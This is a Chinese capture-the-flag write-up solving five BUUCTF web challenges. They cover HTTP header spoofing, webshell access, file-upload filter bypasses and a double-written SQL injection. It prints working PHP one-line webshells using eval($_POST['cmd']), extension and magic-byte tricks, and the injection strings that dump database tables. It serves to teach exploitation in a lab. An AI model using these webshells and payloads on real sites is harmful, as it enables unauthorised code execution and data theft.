[极客大挑战 2019]Http
这题明显考察的是http协议,打开靶场访问什么也没有,F12来查看看控制台的html源码,直到最后那里我们才看到一个Secret.php
文件4,所以直接访问即可。
回显字符串:It doesn't come from 'https://Sycsecret.buuoj.cn'
翻译一下大概的意思就是它不是来自“https://Sycsecret.buuoj.cn”
所以可以知道这个页面大概来自于这个页面。
所以我们可以选择使用HackBar工具添加请求头的Referer元素为https://Sycsecret.buuoj.cn
然后又回显Please use "Syclover" browser
翻译一下的意思就是`
请使用“Syclover”浏览器`
所以使用HackBar工具添加请求头的User Agent元素为Syclover
回显字符串:No!!! you can only read this locally!!!
翻译过来就是不!!!您只能在本地阅读此内容!!!
所以使用Burp Suit工具添加请求头的X-Forwarded-For:127.0.0.1
元素为127.0.0.1
直接得到flag{cc81e25e-d1df-44d8-bf6d-5cabf52d949b}
[极客大挑战 2019]Knife
中国菜刀,或者蚂蚁剑,直接连接,白给的shell,是一句话木马。
跟目录下直接找flag
flag{ddca30e7-b405-4cd5-a2d0-38f068e4c7bc}
[极客大挑战 2019]Upload
很显然呀,这是一道文件上传的漏洞题目,but,
上传a.php文件时,用burp suite抓包得到
修改Content-Type为 image/gif
提示:NOT ! php !,说明不能后缀为php。
** phtml文件**
在嵌入了php脚本的html中,使用 phtml作为后缀名;完全是php写的,则使用php作为后缀名。这两种文件,web服务器都会用php解释器进行解析。
修改文件后缀为a.phtml
提示: NO! HACKER! your file included ‘<?’
html实体字符
HTML 中规定了 Character entity references,也就是通常我们说得 html实体字符,一些字符在 HTML 中拥有特殊的含义,比如小于号 (<) 用于定义 HTML 标签的开始。如果我们希望浏览器正确地显示这些字符,我们必须在 HTML 源码中插入字符实体。
字符实体有三部分:一个和号 (&),一个实体名称,或者 # 和一个实体编号,以及一个分号 (😉。要在 HTML 文档中显示小于号,我们需要这样写:< 或者 <。
< 代表:<,? 代表:?
也就是说上传文件里不能包含:" <? "
绕过" <? "限制用 script标签 绕过“<?”限制:
<script language='php'>pipinfo();@eval($_POST['cmd']);</script>
提示:Don’t lie to me, it’s not image at all!!!
即:上传的根本不是图片。
GIF89a 图片头文件欺骗
在文件前面加文件头:GIF89a,php会检测其为gif图片。getReailFileType 是检测 jpg、png、gif 的文件头。使用getimagesize函数无法判断其图片是无效的。
也可以–修改Content-Type
的内容为 image/jpeg
URL地址为:/upload/a.phtml
这里还有一个彩蛋,点开来看直接泪目。
成功上传“一句话”木马
蚂蚁剑或者菜刀直接连就能在根目录看到flag{ec6fe7ee-86e2-47f9-8de2-7f5dfb11dff5}
[ACTF2020 新生赛]Upload
文件上传,这题更加简单,直接写一句话木马,并把文件后缀改为.jpg
<?php phpinfo();eval($_POST['cmd'])?>
上传文件时需要burp抓包然后修改filename为.phtml
右边发现它给出了url路径去访问我们上传的图片,如果在图片木马加上了phpinfo()函数则会,成功显示phpinfo()的画面。
最后用蚂蚁剑去连接即可,密码cmd
轻松获得flag{ae1ac85b-8daa-4496-b53b-7e5c542494aa}
[极客大挑战 2019]BabySQL
尝试万能密码不行
密码输入1'
根据报错信息发现存在注入漏洞。
尝试联合查询注入1'union select 1,2,3#
通过报错,应该是union select字符串被过滤了,所以我们可以尝试双写绕过
1' uniunionon selselectect 1,2,3#
发现有回显信息。
爆数据库1'ununionion seselectlect 1,user(),database()#
被爆出了用户和数据库:
爆数据库1' uniunionon selselectect 1,2,group_concat(schema_name) frofromm infoorrmation_schema.schemata
猜测信息在ctf库里,爆表名:1' uniounionn selecselectt 1,2,table_name frofromm infoorrmation_schema.tables wherwheree table_schema='ctf'#
爆字段:1' uniounionn seleselectct 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns whewherere table_name='Flag'#
爆数据:1' uniounionn selecselectt 1,2,group_concat(flag) frofromm ctf.Flag#